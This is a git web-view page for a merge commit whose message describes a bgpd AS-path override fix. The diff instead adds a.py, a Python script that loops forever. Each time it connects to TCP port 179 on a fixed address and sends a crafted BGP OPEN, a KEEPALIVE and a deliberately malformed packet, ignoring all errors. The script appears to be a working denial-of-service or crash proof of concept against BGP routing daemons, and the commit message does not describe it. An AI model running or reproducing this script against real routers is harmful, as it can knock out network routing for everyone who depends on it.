diff options
| author | Donald Sharp <donaldsharp72@gmail.com> | 2022-08-01 07:19:11 -0400 |
|---|---|---|
| committer | GitHub <noreply@github.com> | 2022-08-01 07:19:11 -0400 |
| commit | 102aeba0087cea3d0bfe64beeca7af951edc14d2 (patch) | |
| tree | 1c3e61e442fd3f456a0c37220cd0ea6140413e23 /a.py | |
| parent | d758d2a9b267f1aa79ae1232e05740ccbb17749e (diff) | |
| parent | 9bbdb4572d3bb255211fecf1c756452ab27e91c2 (diff) | |
Merge pull request #11692 from opensourcerouting/fix/bgpd_as_override
bgpd: Override ASN without checking if an entire as-path is from a single ASN
Diffstat (limited to 'a.py')
| -rw-r--r-- | a.py | 22 |
1 files changed, 22 insertions, 0 deletions
@@ -0,0 +1,22 @@ +import socket +from time import sleep + +bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00' +bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' +bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv' + +while True: + try: + print("[+] Creating socket...") + s = socket.socket(type=socket.SOCK_STREAM) + print("[+] Connecting to server...") + s.connect(('172.17.0.3', 179)) + s.send(bgp_open) + sleep(0.0009999999) + s.send(bgp_keepalive) + s.send(bgp_notification) + except KeyboardInterrupt: + s.close() + break + except: + s.close() |
